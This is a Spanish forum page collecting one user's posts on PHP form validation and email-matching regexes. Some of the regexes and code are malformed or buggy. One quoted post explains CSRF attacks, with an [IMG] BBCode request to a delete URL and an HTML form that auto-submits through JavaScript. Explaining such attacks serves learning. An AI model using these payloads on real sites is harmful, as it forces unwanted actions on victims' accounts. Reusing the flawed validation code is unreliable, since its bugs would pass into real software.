Funciona perfecto, eres un maestro de las expresiones regulares, por lo que veo has añadido algunas \ para escapar las / y por lo demás esta igual, gracias, he aprendido mucho y me ha gustado debatir este tema contigo.
Un saludo.
Un saludo.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúforeach($_POST as $key => $value){
switch($key){
case "Nombre":
if(empty($value) or !preg_match("/^[a-zA-Z]+([\s][a-zA-Z]+)*$/", $value)){
$array_err[0] = $key;
}
break;
case "Apellidos":
if(empty($value) or !preg_match("/^[a-zA-Z]+([\s][a-zA-Z]+)*$/", $value)){
$array_err[1] = $key;
}
break;
case "Email":
$exp = "^(?![.,])(?:[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*|(?>\".+\"))+(?![.,])@(?>\[(?:(?>2(?>5[0-5]|[0-4]?\d)|1?\d{1,2})\.){3}(?:(?>2(?>5[0-5]|[0-4]?\d)|1?\d{1,2}))\]|(?![.,])[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*(?:\.[a-zA-Z]+)(?![.,]))$";
if(empty($value) or !preg_match($exp, $value)){
$array_err[2] = $key;
}
break;
case "Password":
case "Password1":
if((empty($_POST['Password']) and empty($_PAST['Password1'])) or ($_POST['Password'] != $_POST['Password1'])){
$array_err[3] = $key;
}
break;
case "Dni":
if(empty($value) or !preg_match("/^[0-9]{8}[A-Z]{1}$/", $value)){
$array_err[4] = $key;
}
$numero = substr($value, 0, -1);
$letras = array("T","R","W","A","G","M","Y","F","P","D","X","B","N","J","Z","S","Q","V","H","L","C","K","E");
$dni = $numero . $letras[$numero%23];
if($dni != $value){
$array_err[4] = $key;
}
break;
case "Pais":
if(empty($value)){
$array_err[5] = $key;
}
break;
case "CodigoPostal":
if(empty($value) or !preg_match("/^[0-9]{5}$/", $value)){
$array_err[6] = $key;
}
break;
case "Direccion":
if(empty($value) or !preg_match("/^[a-zA-Z]+([\s-][a-zA-Z]+)*$/", $value)){
$array_err[7] = $key;
}
break;
case "Ciudad":
if(empty($value) or !preg_match("/^[a-zA-Z]+([\s-][a-zA-Z]+)*$/", $value)){
$array_err[8] = $key;
}
break;
case "Provincia":
if(empty($value) or !preg_match("/^[a-zA-Z]+([\s-][a-zA-Z]+)*$/", $value)){
$array_err[9] = $key;
}
break;
case "Numero":
if(empty($value) or !preg_match("/^[0-9]{1,4}$/", $value)){
$array_err[10] = $key;
}
break;
case "Planta":
if(empty($value) or !preg_match("/^[0-9]{1,3}$/", $value)){
$array_err[11] = $key;
}
break;
case "Puerta":
if(empty($value) or !preg_match("/^[\w]{1,4}$/", $value)){
$array_err[12] = $key;
}
break;
case "Telefono":
if(empty($value) or !preg_match("/^[0-9]{9}$/", $value)){
$array_err[13] = $key;
}
break;
}
}
Cita de: yoyahack en 24 Enero 2010, 20:48 PM
Bueno aqui doy algunos metodos de atake CSRF mediante peticion GET y POST.
Bueno, tener claro que algunas veces los formularios envían datos por POST pero pasan la variable por $_REQUEST, osea que aunque el formulario la envié por post puedes enviar una petición GET y te la aceptara.
Ok, ahora si tenemos CSRF por metodo GET podemos hacer lo siguiente.
Si se puede usar BBCODE utilisaremos tags que se ejecutan al visualisarlo como puede ser los tag de
img, y entre los tags de imagenes insertamos el CSRF y al visualisar la img estara haciendo la peticion GET.[IMG]http://serve.com/usuario/eliminar.php
[/IMG]
Por metodo post.
Primero crearemos un formulario que tenga los valores puesto y todo y lo enviaremos con javascript.<html><body>
<form name="topic" method="post" action="http://serve.com/crear_post.php">
<textarea name='topic' rows='5' cols='50' value='lalallalala'></textarea>
</form>
<script>document.topic.submit()</script>
</body></html>
Luego lo subimos a un host. Ahora lo que haremos es llamar nuestro scrit y crear el post.
Con esto lo llamaria:<IMG SRC="http://host.com/formulario_que_enviara_el_CSRF.html">
Y al tratar de visualisar la img estaria ejecutando el formulario xD.
Saludos.
$exp = "/^(?![.,])(?:[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*|(?>\".+\"))+(?![.,])@(?>\[(?:(?>2(?>5[0-5]|[0-4]?\d)|1?\d{1,2})\.){3}(?:(?>2(?>5[0-5]|[0-4]?\d)|1?\d{1,2}))\]|(?![.,])[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*(?:\.[a-zA-Z]+)(?![.,]))$/";
if(!preg_match($exp, $value)){
$array_err[2] = $key;
}
...
$result= mysql_query($query);
}
if(mysql_affected_rows($result)==1) {
...
Cita de: raul338 en 24 Enero 2010, 19:42 PM
Ups, perdon, error de copiar y pegar del editor
Ahi esta corregida, ahora la explico (y creo que hare un cambio mas )
Cita de: WHK en 24 Enero 2010, 02:17 AM
Hola, desde el correo envias un enlace hacia una web tuya que puede estar en un hosting gratuito, luego haces el form con todos sus valores dentro de el y cuando esa persona lo visualize entonces se activaría una función en javascript que va autoenviar el formulario con document.formulario.submit(); talves encerrado dentro del tag body y escrito dentro de onload y si se llega a ejecutar de esa forma significa que también es vulnerable a csrf.
^(?![.,])(?:[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*|(?>\".+\"))+(?![.,])@((?![.,])[\w!#$%&'*+/=?^_`{|}~\-]+(?:[.,][\w!#$%&'*+/=?^_`{|}~\-]+)*(?:\.[a-zA-Z]+)?(?![.,]))|(\[(25[012345]|2[01234]\d|[01]?\d\d?)\.(25[012345]|2[01234]\d|[01]?\d\d?)\.(25[012345]|2[01234]\d|[01]?\d\d?)\.(25[012345]|2[01234]\d|[01]?\d\d?)\])$
Cita de: Hay algunos repetidos
abc@example.com
Abc@example.com
aBC@example.com
abc.123@example.com
1234567890@example.com
_______@example.com
abc+mailbox/department=shipping@example.com
!#$%&'*+-/=?^_`.{|}~@example.com (todos estos caracteres están permitidos)
"abc@def"@example.com (cualquier cosa que esté entre comillas)
"Fred Bloggs"@example.com
"Fred \"quota\" Bloggs"@example.com (ojo, las comillas deben escaparse)
"Abc\@def"@example.com
"Fred Bloggs"@example.com
"Joe\\Blow"@example.com
"Abc@def"@example.com
customer/department=shipping@example.com
$A12345@example.com
!def!xyz%abc@example.com
_somename@example.com
^(?!\.)("([^"\r\\]|\\["\r\\])*"|([-a-z0-9!#$%&'*+/=?^_`{|}~] |(?@[a-z0-9][\w\.-]*[a-z0-9]\.[a-z][a-z\.]*[a-z]$
CitarThe part in bold is the local part. I am not worrying about checking my assumptions for the domain part for now.Entiendo de esto que la parte que esta en negrita es la que valida la parte local y el chico este dice que no le preocupa la parte del dominio que es trivial.
^(?!\.)("([^"\r\\]|\\["\r\\])*"|([-a-z0-9!#$%&'*+/=?^_`{|}~] |(?@[a-z0-9][\w\.-]*[a-z0-9]\.[a-z][a-z\.]*[a-z]@[\w]+([\.\-\_][\w]+)*\.[\w]{2,4}$